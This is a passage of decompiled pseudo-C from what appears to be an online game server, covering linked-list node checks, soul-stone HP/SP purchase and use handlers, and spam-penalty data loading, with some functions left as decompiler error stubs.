LABEL_41; FunctionEntarance::_FunctionEntarance(&_); return 1; } //----- (0051CEC0) -------------------------------------------------------- void __thiscall SlantedCoordList::CoordedNode::cn_MakeLink(SlantedCoordList::CoordedNode *this, SlantedCoordList::CoordedNode *chain) { SlantedCoordList::CoordedNode *v2; // esi@1 SlantedCoordList::CoordedNode *v3; // edi@1 SlantedCoordList::ObjectCoordNode *v4; // ebx@4 SlantedCoordList::ObjectCoordNode *v5; // ebx@15 SlantedCoordList::CoordedNode *v6; // ebx@16 int chaina; // [sp+14h] [bp+4h]@4 int chainb; // [sp+14h] [bp+4h]@15 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_MakeLink"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlantedCoordList::CoordedNode::cn_MakeLink"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = chain; if ( chain == v2 ) { AssertClass::ac_AssertFail( &shineassert, "SlantedCoordList::CoordedNode::cn_MakeLink : List between same object", chain != v2); ShineExit("SlantedCoordList::CoordedNode::cn_MakeLink"); } v4 = v2->cn_node; chaina = ((int (*)(void))chain->cn_node->vfptr->ocn_type)(); if ( v4->vfptr->ocn_type(v4) != chaina ) { AssertClass::ac_AssertFail(&shineassert, "SlantedCoordList::CoordedNode::cn_MakeLink : List between wrong type", 0); ShineExit("SlantedCoordList::CoordedNode::cn_MakeLink"); } if ( v2->cn_prev != v2 || v3->cn_prev != v3 ) { AssertClass::ac_AssertFail(&shineassert, "CoordedNode::cn_MakeLink : makelink on object in list", 0); ShineExit("SlantedCoordList::CoordedNode::cn_MakeLink"); } if ( v2->cn_next != v2 || v3->cn_next != v3 ) { AssertClass::ac_AssertFail(&shineassert, "CoordedNode::cn_MakeLink : makelink on object in list", 0); ShineExit("SlantedCoordList::CoordedNode::cn_MakeLink"); } v5 = v3->cn_node; chainb = ((int (*)(void))v2->cn_node->vfptr->ocn_Getlocation)(); if ( chainb - v5->vfptr->ocn_Getlocation(v5) >= 0 ) { v6 = v3; } else { v6 = v2; v2 = v3; } if ( ((int (*)(void))v6->cn_node->vfptr->ocn_Getlocation)() || (char *)((int (*)(void))v2->cn_node->vfptr->ocn_Getlocation)() != &wholesaver.ws_savestore[104].esc_skill.buffer[515] ) { AssertClass::ac_AssertFail(&shineassert, "SlantedCoordList::CoordedNode::cn_MakeLink : invalid location", 0); ShineExit("SlantedCoordList::CoordedNode::cn_MakeLink"); } v6->cn_next = v2; v2->cn_prev = v6; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_MakeLink"); } //----- (0051D070) -------------------------------------------------------- void __thiscall SlantedCoordList::CoordedNode::cn_MakeLink2(SlantedCoordList::CoordedNode *this, SlantedCoordList::CoordedNode *chain) { SlantedCoordList::CoordedNode *v2; // esi@1 SlantedCoordList::CoordedNode *v3; // edi@1 SlantedCoordList::ObjectCoordNode *v4; // ebx@3 SlantedCoordList::CoordedNode *v5; // ebx@11 FunctionEntarance _; // [sp+0h] [bp-10h]@1 int v7; // [sp+Ch] [bp-4h]@1 int chaina; // [sp+14h] [bp+4h]@3 v2 = this; _.fe_FunctionCode = "SlantedCoordList::CoordedNode::cn_MakeLink2"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_MakeLink2"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SlantedCoordList::CoordedNode::cn_MakeLink2"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = chain; v7 = 0; if ( chain == v2 ) { AssertClass::ac_AssertFail( &shineassert, "SlantedCoordList::CoordedNode::cn_MakeLink2 : List between same object", chain != v2); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_MakeLink2"); } else { v4 = chain->cn_node; chaina = ((int (*)(void))v2->cn_node->vfptr->ocn_type)(); if ( chaina == v4->vfptr->ocn_type(v4) ) { if ( v2->cn_prev == v2 && v3->cn_prev == v3 && v2->cn_next == v2 && v3->cn_next == v3 ) { if ( SlantedCoordList::operator<(v2, v3) ) { v5 = v2; v2 = v3; } else { v5 = v3; } if ( ((int (*)(void))v5->cn_node->vfptr->ocn_Getlocation)() || (char *)((int (*)(void))v2->cn_node->vfptr->ocn_Getlocation)() != &wholesaver.ws_savestore[104].esc_skill.buffer[515] ) { AssertClass::ac_AssertFail(&shineassert, "SlantedCoordList::CoordedNode::cn_MakeLink2 : invalid location", 0); } else { v5->cn_next = v2; v2->cn_prev = v5; } v7 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { AssertClass::ac_AssertFail(&shineassert, "CoordedNode::cn_MakeLink2 : makelink on object in list", 0); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_MakeLink2"); } } else { AssertClass::ac_AssertFail( &shineassert, "SlantedCoordList::CoordedNode::cn_MakeLink2 : List between wrong type", 0); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SlantedCoordList::CoordedNode::cn_MakeLink2"); } } } //----- (0051D240) -------------------------------------------------------- #error "51D240: undefined or illegal type '#325' (funcsize=96)" //----- (0051D3A0) -------------------------------------------------------- #error "51D3A0: undefined or illegal type '#434' (funcsize=222)" //----- (0051D690) -------------------------------------------------------- #error "51D690: undefined or illegal type '#325' (funcsize=80)" //----- (0051D7B0) -------------------------------------------------------- #error "51D7B0: undefined or illegal type '#325' (funcsize=68)" //----- (0051D8A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_HPStoneUse(void *this) { void *v1; // esi@1 char *v2; // eax@1 __int16 v3; // dx@1 int v4; // ST20_4@1 int v5; // eax@1 int v6; // edx@1 unsigned int v7; // eax@1 unsigned __int16 v8; // di@1 int v9; // eax@1 int v10; // eax@2 signed int v11; // edx@4 int v12; // edi@4 unsigned int v13; // eax@4 int v14; // ecx@4 int v15; // ST14_4@6 int v16; // eax@6 AxialListPacketBroadcast alchat; // [sp+4Ch] [bp-18h]@1 int v18; // [sp+60h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HPStoneUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_HPStoneUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 20491; v3 = *((_WORD *)v1 + 2); v18 = 0; *((_WORD *)v2 + 1) = v3; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v4 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v18) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v5, v4, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v18) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v1 + 772))(v1, 20, 8); v6 = *(_DWORD *)v1; *((_DWORD *)v1 + 16499) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; v7 = clockwatch.cw_CurrTick + 70; --*(_WORD *)((char *)v1 + 32055); *((_DWORD *)v1 + 16498) = v7; v8 = (unsigned __int8)(*(int (__thiscall **)(void *))(v6 + 1220))(v1); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1160))(v1); if ( v8 > 0x96u ) v10 = *(_DWORD *)(v9 + 67672); else v10 = *(_DWORD *)(v9 + 4 * v8 + 67672); v11 = (signed int)((unsigned __int64)(274877907i64 * *(_DWORD *)(v10 + 28) * *((_WORD *)v1 + 45855)) >> 32) >> 6; v12 = v11 + ((unsigned int)v11 >> 31); ShineObjectClass::ShinePlayer::sp_HPChangeCheck( v1, v11 + ((unsigned int)v11 >> 31), 1, (int)"ShineObjectClass::ShinePlayer::sp_HPStoneUse"); v13 = *((_DWORD *)v1 + 932); v14 = v12 + *(_DWORD *)((char *)v1 + 32059); *(_DWORD *)((char *)v1 + 32059) = v14; if ( v14 >= v13 ) *(_DWORD *)((char *)v1 + 32059) = v13; v15 = *(_DWORD *)((char *)v1 + 78); v16 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v1, v16, v15, 0, 0, (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe, 0, 0, 0, 0, 65535); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HPStoneUse"); } //----- (0051DA60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SPStoneUse(void *this) { void *v1; // esi@1 char *v2; // eax@1 __int16 v3; // dx@1 int v4; // ST14_4@1 int v5; // eax@1 int v6; // edx@1 unsigned int v7; // eax@1 unsigned __int16 v8; // di@1 int v9; // eax@1 int v10; // eax@2 int v11; // edi@4 unsigned int v12; // eax@4 int v13; // ST08_4@6 int v14; // eax@6 AxialListPacketBroadcast alchat; // [sp+40h] [bp-18h]@1 int v16; // [sp+54h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SPStoneUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SPStoneUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 20492; v3 = *((_WORD *)v1 + 2); v16 = 0; *((_WORD *)v2 + 1) = v3; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 4); v4 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v16) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v5, v4, 0, 0, (int)&alchat, 0, 65535); LOBYTE(v16) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v1 + 772))(v1, 20, 10); v6 = *(_DWORD *)v1; *((_DWORD *)v1 + 16501) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; v7 = clockwatch.cw_CurrTick + 70; --*(_WORD *)((char *)v1 + 32057); *((_DWORD *)v1 + 16500) = v7; v8 = (unsigned __int8)(*(int (__thiscall **)(void *))(v6 + 1220))(v1); v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1160))(v1); if ( v8 > 0x96u ) v10 = *(_DWORD *)(v9 + 67672); else v10 = *(_DWORD *)(v9 + 4 * v8 + 67672); v11 = *(_DWORD *)(v10 + 40) * *((_WORD *)v1 + 45856) / 1000 + *(_DWORD *)((char *)v1 + 32063); v12 = *((_DWORD *)v1 + 933); *(_DWORD *)((char *)v1 + 32063) = v11; if ( v11 >= v12 ) *(_DWORD *)((char *)v1 + 32063) = v12; v13 = *(_DWORD *)((char *)v1 + 78); v14 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange( v1, v14, v13, 0, 0, (int)ShineObjectClass::ShineObject::so_ply_Send2WhoTargetMe, 0, 0, 0, 0, 65535); --funcallanalizer.fca_stackpoint; v16 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SPStoneUse"); } //----- (0051DC20) -------------------------------------------------------- void __cdecl ShineObjectClass::ShinePlayer::sp_PointStone_NotInit() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_PointStone_NotInit"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_PointStone_NotInit"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_PointStone_NotInit"); } //----- (0051DC60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_HPStoneReserv(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HPStoneReserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_HPStoneReserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *((_DWORD *)v1 + 16498) <= clockwatch.cw_CurrTick ) { if ( *(_WORD *)((char *)v1 + 32055) && (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1236))(v1) && !(unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 40))(v1) ) ShineObjectClass::ShinePlayer::sp_HPStoneUse(v1); else *((_DWORD *)v1 + 16499) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_HPStoneReserv"); } //----- (0051DD30) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SPStoneReserv(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SPStoneReserv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SPStoneReserv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *((_DWORD *)v1 + 16500) <= clockwatch.cw_CurrTick ) { if ( *(_WORD *)((char *)v1 + 32057) ) ShineObjectClass::ShinePlayer::sp_SPStoneUse(v1); else *((_DWORD *)v1 + 16501) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SPStoneReserv"); } //----- (0051DDF0) -------------------------------------------------------- void __usercall ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ(int a1, int a2, int netcmd, int len, __int16 handle) { int v5; // esi@1 unsigned __int16 v6; // di@5 int v7; // eax@5 int v8; // edi@6 int v9; // eax@8 int v10; // [sp+28h] [bp-4h]@1 v5 = a1; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; if ( !(_S4_19 & 1) ) { _S4_19 |= 1u; unk_124F249C.cmc_AllowMode = 70; atexit(_E5_67); } if ( (1 << **(_BYTE **)(v5 + 3716)) & unk_124F249C.cmc_AllowMode ) { v6 = (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)v5 + 1220))(v5, a2); v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1160))(v5); if ( v6 > 0x96u ) v8 = *(_DWORD *)(v7 + 67672); else v8 = *(_DWORD *)(v7 + 4 * v6 + 67672); v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1916))(v5); (*(void (__thiscall **)(int))(*(_DWORD *)v9 + 80))(v9); ShineObjectClass::ShinePlayer::sp_PointStoneBuy(v5, v8 + 28, *(_WORD *)(v5 + 32055), *(_WORD *)(netcmd + 2), 0); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"); } else { --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"); } } // 51DDF0: inconsistent function type and number of purged bytes //----- (0051DF70) -------------------------------------------------------- void __usercall ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_BUY_REQ(int a1, int a2, int netcmd, int len, __int16 handle) { int v5; // esi@1 unsigned __int16 v6; // di@5 int v7; // eax@5 int v8; // edi@6 int v9; // eax@8 int v10; // [sp+28h] [bp-4h]@1 v5 = a1; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; if ( !(_S6_68 & 1) ) { _S6_68 |= 1u; unk_124F24A4.cmc_AllowMode = 70; atexit(_E7_52); } if ( (1 << **(_BYTE **)(v5 + 3716)) & unk_124F24A4.cmc_AllowMode ) { v6 = (unsigned __int8)(*(int (__thiscall **)(int, int))(*(_DWORD *)v5 + 1220))(v5, a2); v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1160))(v5); if ( v6 > 0x96u ) v8 = *(_DWORD *)(v7 + 67672); else v8 = *(_DWORD *)(v7 + 4 * v6 + 67672); v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1916))(v5); (*(void (__thiscall **)(int))(*(_DWORD *)v9 + 80))(v9); ShineObjectClass::ShinePlayer::sp_PointStoneBuy(v5, v8 + 40, *(_WORD *)(v5 + 32057), *(_WORD *)(netcmd + 2), 1); --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"); } else { --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_BUY_REQ"); } } //----- (0051E0F0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_USE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 int v5; // eax@8 int v6; // eax@12 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v8; // [sp+14h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_USE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_USE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_USE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; if ( !(_S10_14 & 1) ) { _S10_14 |= 1u; unk_124F24AC.cmc_AllowMode = 86; atexit(_E11_28); } if ( !((1 << **((_BYTE **)v4 + 929)) & unk_124F24AC.cmc_AllowMode) ) goto LABEL_28; if ( (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14434) + 16))((char *)v4 + 57736) ) { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 772))(v4, 20, 6); LABEL_25: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_HP_USE_REQ"); return; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2440))(v4) ) { LABEL_28: (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 772))(v4, 20, 6); goto LABEL_25; } v5 = *(_DWORD *)((char *)v4 + 98); if ( !v5 || !*(_BYTE *)(*(_DWORD *)(v5 + 12) + 165) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 772))(v4, 20, 6); goto LABEL_25; } if ( !(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1236))(v4) || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 40))(v4) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 772))(v4, 20, 6); v8 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { v6 = *(_DWORD *)((char *)v4 + 98); if ( v6 && *(_BYTE *)(*(_DWORD *)(v6 + 12) + 158) && *(_DWORD *)((char *)v4 + 32059) < *((_DWORD *)v4 + 932) ) { if ( *((_DWORD *)v4 + 16498) <= clockwatch.cw_CurrTick ) { if ( *(_WORD *)((char *)v4 + 32055) ) { ShineObjectClass::ShinePlayer::sp_HPStoneUse(v4); v8 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 772))(v4, 20, 6); v8 = -1; FunctionEntarance::_FunctionEntarance(&_); } } else { if ( *(_WORD *)((char *)v4 + 32055) ) *((_DWORD *)v4 + 16499) = ShineObjectClass::ShinePlayer::sp_HPStoneReserv; v8 = -1; FunctionEntarance::_FunctionEntarance(&_); } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 772))(v4, 20, 6); v8 = -1; FunctionEntarance::_FunctionEntarance(&_); } } } //----- (0051E370) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_USE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char v5; // al@4 void *v6; // ecx@4 int v7; // eax@6 int v8; // eax@7 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v10; // [sp+14h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_USE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_USE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_USE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; if ( !(_S12_26 & 1) ) { _S12_26 |= 1u; unk_124F24B4.cmc_AllowMode = 86; atexit(_E13_24); } if ( !((1 << **((_BYTE **)v4 + 929)) & unk_124F24B4.cmc_AllowMode) ) goto LABEL_23; v5 = (*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14434) + 16))((char *)v4 + 57736); v6 = v4; if ( v5 ) { LABEL_20: (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 772))(v6, 20, 6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_USE_REQ"); return; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2440))(v4) || (v7 = *(_DWORD *)((char *)v4 + 98)) == 0 || (v8 = *(_DWORD *)(v7 + 12), !*(_BYTE *)(v8 + 165)) ) { LABEL_23: v6 = v4; goto LABEL_20; } if ( *(_DWORD *)((char *)v4 + 32063) < *((_DWORD *)v4 + 933) ) { if ( *((_DWORD *)v4 + 16500) <= clockwatch.cw_CurrTick ) { if ( *(_BYTE *)(v8 + 158) ) { if ( *(_WORD *)((char *)v4 + 32057) ) { ShineObjectClass::ShinePlayer::sp_SPStoneUse(v4); v10 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 772))(v4, 20, 6); v10 = -1; FunctionEntarance::_FunctionEntarance(&_); } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 772))(v4, 20, 6); v10 = -1; FunctionEntarance::_FunctionEntarance(&_); } } else { if ( *(_WORD *)((char *)v4 + 32057) ) *((_DWORD *)v4 + 16501) = ShineObjectClass::ShinePlayer::sp_SPStoneReserv; v10 = -1; FunctionEntarance::_FunctionEntarance(&_); } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 772))(v4, 20, 6); v10 = -1; FunctionEntarance::_FunctionEntarance(&_); } } //----- (0051E5B0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 5u, 3u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0051E660) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x12u, 5u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0051E710) -------------------------------------------------------- void __thiscall SpamerPenaltyDataBox::SpamerPenaltyDataBox(SpamerPenaltyDataBox *this) { SpamerPenaltyDataBox *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->spdb_BinSpamerPenaltyRuleData.baseclass_0); v1->spdb_BinSpamerPenaltyRuleData.bdb_defaultblock.SecondRule = 0; v1->spdb_BinSpamerPenaltyRuleData.bdb_defaultblock.RepeatRule = 0; CCharacterTitleData::CCharacterTitleData(&v1->spdb_BinSpamerPenaltyData.baseclass_0); *(_DWORD *)&v1->spdb_BinSpamerPenaltyData.bdb_defaultblock.PenaltyLv = 0; HIBYTE(v1->spdb_BinSpamerPenaltyData.bdb_defaultblock.ProbateTime) = 0; } //----- (0051E770) -------------------------------------------------------- void __thiscall SpamerPenaltyDataBox::_SpamerPenaltyDataBox(SpamerPenaltyDataBox *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; CCharacterTitleData::_CCharacterTitleData(&this->spdb_BinSpamerPenaltyData.baseclass_0); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (0051E7C0) -------------------------------------------------------- void __thiscall SpamerPenaltyDataBox::spdb_Load(SpamerPenaltyDataBox *this) { SpamerPenaltyDataBox *v1; // esi@1 v1 = this; BinaryDataBox::bdb_ReadData( &this->spdb_BinSpamerPenaltyRuleData, "../9Data/Shine/SpamerPenaltyRule.shn"); BinaryDataBox::bdb_ReadData(&v1->spdb_BinSpamerPenaltyData, "../9Data/Shine/SpamerPenalty.shn"); v1->spdb_SpamerPenaltyMaxNum = LOBYTE(v1->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord); } //----- (0051E7F0) -------------------------------------------------------- unsigned __int16 __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetSecondRule(SpamerPenaltyDataBox *this) { void *v1; // eax@2 if ( this->spdb_BinSpamerPenaltyRuleData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v1 = CDataReader::GetRecord(&this->spdb_BinSpamerPenaltyRuleData.baseclass_0.baseclass_0, 0); else v1 = &this->spdb_BinSpamerPenaltyRuleData.bdb_defaultblock; return ((signed int)(1374389535 * (unsigned __int64)*(_WORD *)v1 >> 32) >> 5) + ((unsigned int)(1374389535 * (unsigned __int64)*(_WORD *)v1 >> 32) >> 31); } //----- (0051E820) -------------------------------------------------------- char __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetRepeatRule(SpamerPenaltyDataBox *this) { char result; // al@2 if ( this->spdb_BinSpamerPenaltyRuleData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) result = *((_BYTE *)CDataReader::GetRecord(&this->spdb_BinSpamerPenaltyRuleData.baseclass_0.baseclass_0, 0) + 2); else result = this->spdb_BinSpamerPenaltyRuleData.bdb_defaultblock.RepeatRule; return result; } //----- (0051E840) -------------------------------------------------------- bool __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetChatBlockTime(SpamerPenaltyDataBox *this, char PenaltyLv, unsigned __int16 *BlockTime) { SpamerPenaltyDataBox *v3; // ebp@1 unsigned int v4; // esi@1 void *v5; // eax@3 bool result; // al@7 v3 = this; v4 = 0; if ( this->spdb_SpamerPenaltyMaxNum ) { while ( 1 ) { v5 = v4 < 